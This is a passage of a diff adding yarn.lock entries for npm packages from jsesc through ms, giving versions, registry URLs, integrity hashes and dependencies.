+    webidl-conversions "^6.1.0"
+    whatwg-encoding "^1.0.5"
+    whatwg-mimetype "^2.3.0"
+    whatwg-url "^8.5.0"
+    ws "^7.4.6"
+    xml-name-validator "^3.0.0"
+
+jsesc@^3.0.2:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-3.1.0.tgz#74d335a234f67ed19907fdadfac7ccf9d409825d"
+  integrity sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==
+
+jsesc@~3.0.2:
+  version "3.0.2"
+  resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-3.0.2.tgz#bb8b09a6597ba426425f2e4a07245c3d00b9343e"
+  integrity sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g==
+
+json-buffer@3.0.1:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/json-buffer/-/json-buffer-3.0.1.tgz#9338802a30d3b6605fbe0613e094008ca8c05a13"
+  integrity sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==
+
+json-parse-even-better-errors@^2.3.0, json-parse-even-better-errors@^2.3.1:
+  version "2.3.1"
+  resolved "https://registry.yarnpkg.com/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz#7c47805a94319928e05777405dc12e1f7a4ee02d"
+  integrity sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==
+
+json-schema-traverse@^0.4.1:
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660"
+  integrity sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==
+
+json-schema-traverse@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz#ae7bcb3656ab77a73ba5c49bf654f38e6b6860e2"
+  integrity sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==
+
+json-schema@^0.4.0:
+  version "0.4.0"
+  resolved "https://registry.yarnpkg.com/json-schema/-/json-schema-0.4.0.tgz#f7de4cf6efab838ebaeb3236474cbba5a1930ab5"
+  integrity sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==
+
+json-stable-stringify-without-jsonify@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz#9db7b59496ad3f3cfef30a75142d2d930ad72651"
+  integrity sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==
+
+json5@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/json5/-/json5-1.0.2.tgz#63d98d60f21b313b77c4d6da18bfa69d80e1d593"
+  integrity sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==
+  dependencies:
+    minimist "^1.2.0"
+
+json5@^2.1.2, json5@^2.2.0, json5@^2.2.3:
+  version "2.2.3"
+  resolved "https://registry.yarnpkg.com/json5/-/json5-2.2.3.tgz#78cd6f1a19bdc12b73db5ad0c61efd66c1e29283"
+  integrity sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==
+
+jsonfile@^6.0.1:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/jsonfile/-/jsonfile-6.1.0.tgz#bc55b2634793c679ec6403094eb13698a6ec0aae"
+  integrity sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==
+  dependencies:
+    universalify "^2.0.0"
+  optionalDependencies:
+    graceful-fs "^4.1.6"
+
+jsonpath@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/jsonpath/-/jsonpath-1.1.1.tgz#0ca1ed8fb65bb3309248cc9d5466d12d5b0b9901"
+  integrity sha512-l6Cg7jRpixfbgoWgkrl77dgEj8RPvND0wMH6TwQmi9Qs4TFfS9u5cUFnbeKTwj5ga5Y3BTGGNI28k117LJ009w==
+  dependencies:
+    esprima "1.2.2"
+    static-eval "2.0.2"
+    underscore "1.12.1"
+
+jsonpointer@^5.0.0:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/jsonpointer/-/jsonpointer-5.0.1.tgz#2110e0af0900fd37467b5907ecd13a7884a1b559"
+  integrity sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ==
+
+"jsx-ast-utils@^2.4.1 || ^3.0.0", jsx-ast-utils@^3.3.5:
+  version "3.3.5"
+  resolved "https://registry.yarnpkg.com/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz#4766bd05a8e2a11af222becd19e15575e52a853a"
+  integrity sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==
+  dependencies:
+    array-includes "^3.1.6"
+    array.prototype.flat "^1.3.1"
+    object.assign "^4.1.4"
+    object.values "^1.1.6"
+
+keyv@^4.5.3:
+  version "4.5.4"
+  resolved "https://registry.yarnpkg.com/keyv/-/keyv-4.5.4.tgz#a879a99e29452f942439f2a405e3af8b31d4de93"
+  integrity sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==
+  dependencies:
+    json-buffer "3.0.1"
+
+kind-of@^6.0.2:
+  version "6.0.3"
+  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-6.0.3.tgz#07c05034a6c349fa06e24fa35aa76db4580ce4dd"
+  integrity sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==
+
+kleur@^3.0.3:
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/kleur/-/kleur-3.0.3.tgz#a79c9ecc86ee1ce3fa6206d1216c501f147fc07e"
+  integrity sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==
+
+klona@^2.0.4, klona@^2.0.5:
+  version "2.0.6"
+  resolved "https://registry.yarnpkg.com/klona/-/klona-2.0.6.tgz#85bffbf819c03b2f53270412420a4555ef882e22"
+  integrity sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA==
+
+language-subtag-registry@^0.3.20:
+  version "0.3.23"
+  resolved "https://registry.yarnpkg.com/language-subtag-registry/-/language-subtag-registry-0.3.23.tgz#23529e04d9e3b74679d70142df3fd2eb6ec572e7"
+  integrity sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ==
+
+language-tags@^1.0.9:
+  version "1.0.9"
+  resolved "https://registry.yarnpkg.com/language-tags/-/language-tags-1.0.9.tgz#1ffdcd0ec0fafb4b1be7f8b11f306ad0f9c08777"
+  integrity sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==
+  dependencies:
+    language-subtag-registry "^0.3.20"
+
+launch-editor@^2.6.0:
+  version "2.9.1"
+  resolved "https://registry.yarnpkg.com/launch-editor/-/launch-editor-2.9.1.tgz#253f173bd441e342d4344b4dae58291abb425047"
+  integrity sha512-Gcnl4Bd+hRO9P9icCP/RVVT2o8SFlPXofuCxvA2SaZuH45whSvf5p8x5oih5ftLiVhEI4sp5xDY+R+b3zJBh5w==
+  dependencies:
+    picocolors "^1.0.0"
+    shell-quote "^1.8.1"
+
+leven@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/leven/-/leven-3.1.0.tgz#77891de834064cccba82ae7842bb6b14a13ed7f2"
+  integrity sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==
+
+levn@^0.4.1:
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/levn/-/levn-0.4.1.tgz#ae4562c007473b932a6200d403268dd2fffc6ade"
+  integrity sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==
+  dependencies:
+    prelude-ls "^1.2.1"
+    type-check "~0.4.0"
+
+levn@~0.3.0:
+  version "0.3.0"
+  resolved "https://registry.yarnpkg.com/levn/-/levn-0.3.0.tgz#3b09924edf9f083c0490fdd4c0bc4421e04764ee"
+  integrity sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==
+  dependencies:
+    prelude-ls "~1.1.2"
+    type-check "~0.3.2"
+
+lilconfig@^2.0.3:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/lilconfig/-/lilconfig-2.1.0.tgz#78e23ac89ebb7e1bfbf25b18043de756548e7f52"
+  integrity sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==
+
+lilconfig@^3.0.0, lilconfig@^3.1.3:
+  version "3.1.3"
+  resolved "https://registry.yarnpkg.com/lilconfig/-/lilconfig-3.1.3.tgz#a1bcfd6257f9585bf5ae14ceeebb7b559025e4c4"
+  integrity sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==
+
+lines-and-columns@^1.1.6:
+  version "1.2.4"
+  resolved "https://registry.yarnpkg.com/lines-and-columns/-/lines-and-columns-1.2.4.tgz#eca284f75d2965079309dc0ad9255abb2ebc1632"
+  integrity sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==
+
+loader-runner@^4.2.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/loader-runner/-/loader-runner-4.3.0.tgz#c1b4a163b99f614830353b16755e7149ac2314e1"
+  integrity sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==
+
+loader-utils@^2.0.0, loader-utils@^2.0.4:
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-2.0.4.tgz#8b5cb38b5c34a9a018ee1fc0e6a066d1dfcc528c"
+  integrity sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==
+  dependencies:
+    big.js "^5.2.2"
+    emojis-list "^3.0.0"
+    json5 "^2.1.2"
+
+loader-utils@^3.2.0:
+  version "3.3.1"
+  resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-3.3.1.tgz#735b9a19fd63648ca7adbd31c2327dfe281304e5"
+  integrity sha512-FMJTLMXfCLMLfJxcX9PFqX5qD88Z5MRGaZCVzfuqeZSPsyiBzs+pahDQjbIWz2QIzPZz0NX9Zy4FX3lmK6YHIg==
+
+locate-path@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-3.0.0.tgz#dbec3b3ab759758071b58fe59fc41871af21400e"
+  integrity sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==
+  dependencies:
+    p-locate "^3.0.0"
+    path-exists "^3.0.0"
+
+locate-path@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-5.0.0.tgz#1afba396afd676a6d42504d0a67a3a7eb9f62aa0"
+  integrity sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==
+  dependencies:
+    p-locate "^4.1.0"
+
+locate-path@^6.0.0:
+  version "6.0.0"
+  resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-6.0.0.tgz#55321eb309febbc59c4801d931a72452a681d286"
+  integrity sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==
+  dependencies:
+    p-locate "^5.0.0"
+
+lodash.debounce@^4.0.8:
+  version "4.0.8"
+  resolved "https://registry.yarnpkg.com/lodash.debounce/-/lodash.debounce-4.0.8.tgz#82d79bff30a67c4005ffd5e2515300ad9ca4d7af"
+  integrity sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==
+
+lodash.memoize@^4.1.2:
+  version "4.1.2"
+  resolved "https://registry.yarnpkg.com/lodash.memoize/-/lodash.memoize-4.1.2.tgz#bcc6c49a42a2840ed997f323eada5ecd182e0bfe"
+  integrity sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==
+
+lodash.merge@^4.6.2:
+  version "4.6.2"
+  resolved "https://registry.yarnpkg.com/lodash.merge/-/lodash.merge-4.6.2.tgz#558aa53b43b661e1925a0afdfa36a9a1085fe57a"
+  integrity sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==
+
+lodash.sortby@^4.7.0:
+  version "4.7.0"
+  resolved "https://registry.yarnpkg.com/lodash.sortby/-/lodash.sortby-4.7.0.tgz#edd14c824e2cc9c1e0b0a1b42bb5210516a42438"
+  integrity sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA==
+
+lodash.uniq@^4.5.0:
+  version "4.5.0"
+  resolved "https://registry.yarnpkg.com/lodash.uniq/-/lodash.uniq-4.5.0.tgz#d0225373aeb652adc1bc82e4945339a842754773"
+  integrity sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==
+
+lodash@^4.17.20, lodash@^4.17.21, lodash@^4.7.0:
+  version "4.17.21"
+  resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
+  integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==
+
+loose-envify@^1.4.0:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/loose-envify/-/loose-envify-1.4.0.tgz#71ee51fa7be4caec1a63839f7e682d8132d30caf"
+  integrity sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==
+  dependencies:
+    js-tokens "^3.0.0 || ^4.0.0"
+
+lower-case@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/lower-case/-/lower-case-2.0.2.tgz#6fa237c63dbdc4a82ca0fd882e4722dc5e634e28"
+  integrity sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==
+  dependencies:
+    tslib "^2.0.3"
+
+lru-cache@^10.2.0:
+  version "10.4.3"
+  resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-10.4.3.tgz#410fc8a17b70e598013df257c2446b7f3383f119"
+  integrity sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==
+
+lru-cache@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-5.1.1.tgz#1da27e6710271947695daf6848e847f01d84b920"
+  integrity sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==
+  dependencies:
+    yallist "^3.0.2"
+
+magic-string@^0.25.0, magic-string@^0.25.7:
+  version "0.25.9"
+  resolved "https://registry.yarnpkg.com/magic-string/-/magic-string-0.25.9.tgz#de7f9faf91ef8a1c91d02c2e5314c8277dbcdd1c"
+  integrity sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==
+  dependencies:
+    sourcemap-codec "^1.4.8"
+
+make-dir@^3.0.2, make-dir@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-3.1.0.tgz#415e967046b3a7f1d185277d84aa58203726a13f"
+  integrity sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==
+  dependencies:
+    semver "^6.0.0"
+
+make-dir@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-4.0.0.tgz#c3c2307a771277cd9638305f915c29ae741b614e"
+  integrity sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==
+  dependencies:
+    semver "^7.5.3"
+
+makeerror@1.0.12:
+  version "1.0.12"
+  resolved "https://registry.yarnpkg.com/makeerror/-/makeerror-1.0.12.tgz#3e5dd2079a82e812e983cc6610c4a2cb0eaa801a"
+  integrity sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==
+  dependencies:
+    tmpl "1.0.5"
+
+math-intrinsics@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/math-intrinsics/-/math-intrinsics-1.1.0.tgz#a0dd74be81e2aa5c2f27e65ce283605ee4e2b7f9"
+  integrity sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==
+
+mdn-data@2.0.14:
+  version "2.0.14"
+  resolved "https://registry.yarnpkg.com/mdn-data/-/mdn-data-2.0.14.tgz#7113fc4281917d63ce29b43446f701e68c25ba50"
+  integrity sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==
+
+mdn-data@2.0.4:
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/mdn-data/-/mdn-data-2.0.4.tgz#699b3c38ac6f1d728091a64650b65d388502fd5b"
+  integrity sha512-iV3XNKw06j5Q7mi6h+9vbx23Tv7JkjEVgKHW4pimwyDGWm0OIQntJJ+u1C6mg6mK1EaTv42XQ7w76yuzH7M2cA==
+
+media-typer@0.3.0:
+  version "0.3.0"
+  resolved "https://registry.yarnpkg.com/media-typer/-/media-typer-0.3.0.tgz#8710d7af0aa626f8fffa1ce00168545263255748"
+  integrity sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==
+
+memfs@^3.1.2, memfs@^3.4.3:
+  version "3.6.0"
+  resolved "https://registry.yarnpkg.com/memfs/-/memfs-3.6.0.tgz#d7a2110f86f79dd950a8b6df6d57bc984aa185f6"
+  integrity sha512-EGowvkkgbMcIChjMTMkESFDbZeSh8xZ7kNSF0hAiAN4Jh6jgHCRS0Ga/+C8y6Au+oqpezRHCfPsmJ2+DwAgiwQ==
+  dependencies:
+    fs-monkey "^1.0.4"
+
+merge-descriptors@1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.3.tgz#d80319a65f3c7935351e5cfdac8f9318504dbed5"
+  integrity sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==
+
+merge-stream@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/merge-stream/-/merge-stream-2.0.0.tgz#52823629a14dd00c9770fb6ad47dc6310f2c1f60"
+  integrity sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==
+
+merge2@^1.3.0, merge2@^1.4.1:
+  version "1.4.1"
+  resolved "https://registry.yarnpkg.com/merge2/-/merge2-1.4.1.tgz#4368892f885e907455a6fd7dc55c0c9d404990ae"
+  integrity sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==
+
+methods@~1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/methods/-/methods-1.1.2.tgz#5529a4d67654134edcc5266656835b0f851afcee"
+  integrity sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==
+
+micromatch@^4.0.2, micromatch@^4.0.4, micromatch@^4.0.5, micromatch@^4.0.8:
+  version "4.0.8"
+  resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-4.0.8.tgz#d66fa18f3a47076789320b9b1af32bd86d9fa202"
+  integrity sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==
+  dependencies:
+    braces "^3.0.3"
+    picomatch "^2.3.1"
+
+mime-db@1.52.0:
+  version "1.52.0"
+  resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.52.0.tgz#bbabcdc02859f4987301c856e3387ce5ec43bf70"
+  integrity sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==
+
+"mime-db@>= 1.43.0 < 2":
+  version "1.53.0"
+  resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.53.0.tgz#3cb63cd820fc29896d9d4e8c32ab4fcd74ccb447"
+  integrity sha512-oHlN/w+3MQ3rba9rqFr6V/ypF10LSkdwUysQL7GkXoTgIWeV+tcXGA852TBxH+gsh8UWoyhR1hKcoMJTuWflpg==
+
+mime-types@^2.1.12, mime-types@^2.1.27, mime-types@^2.1.31, mime-types@~2.1.17, mime-types@~2.1.24, mime-types@~2.1.34:
+  version "2.1.35"
+  resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.35.tgz#381a871b62a734450660ae3deee44813f70d959a"
+  integrity sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==
+  dependencies:
+    mime-db "1.52.0"
+
+mime@1.6.0:
+  version "1.6.0"
+  resolved "https://registry.yarnpkg.com/mime/-/mime-1.6.0.tgz#32cd9e5c64553bd58d19a568af452acff04981b1"
+  integrity sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==
+
+mimic-fn@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-2.1.0.tgz#7ed2c2ccccaf84d3ffcb7a69b57711fc2083401b"
+  integrity sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==
+
+mini-css-extract-plugin@^2.4.5:
+  version "2.9.2"
+  resolved "https://registry.yarnpkg.com/mini-css-extract-plugin/-/mini-css-extract-plugin-2.9.2.tgz#966031b468917a5446f4c24a80854b2947503c5b"
+  integrity sha512-GJuACcS//jtq4kCtd5ii/M0SZf7OZRH+BxdqXZHaJfb8TJiVl+NgQRPwiYt2EuqeSkNydn/7vP+bcE27C5mb9w==
+  dependencies:
+    schema-utils "^4.0.0"
+    tapable "^2.2.1"
+
+minimalistic-assert@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz#2e194de044626d4a10e7f7fbc00ce73e83e4d5c7"
+  integrity sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==
+
+minimatch@^3.0.4, minimatch@^3.0.5, minimatch@^3.1.1, minimatch@^3.1.2:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b"
+  integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==
+  dependencies:
+    brace-expansion "^1.1.7"
+
+minimatch@^5.0.1:
+  version "5.1.6"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-5.1.6.tgz#1cfcb8cf5522ea69952cd2af95ae09477f122a96"
+  integrity sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==
+  dependencies:
+    brace-expansion "^2.0.1"
+
+minimatch@^9.0.4:
+  version "9.0.5"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.5.tgz#d74f9dd6b57d83d8e98cfb82133b03978bc929e5"
+  integrity sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==
+  dependencies:
+    brace-expansion "^2.0.1"
+
+minimist@^1.2.0, minimist@^1.2.6:
+  version "1.2.8"
+  resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.8.tgz#c1a464e7693302e082a075cee0c057741ac4772c"
+  integrity sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==
+
+"minipass@^5.0.0 || ^6.0.2 || ^7.0.0", minipass@^7.1.2:
+  version "7.1.2"
+  resolved "https://registry.yarnpkg.com/minipass/-/minipass-7.1.2.tgz#93a9626ce5e5e66bd4db86849e7515e92340a707"
+  integrity sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==
+
+mkdirp@~0.5.1:
+  version "0.5.6"
+  resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.6.tgz#7def03d2432dcae4ba1d611445c48396062255f6"
+  integrity sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==
+  dependencies:
+    minimist "^1.2.6"
+
+ms@2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8"
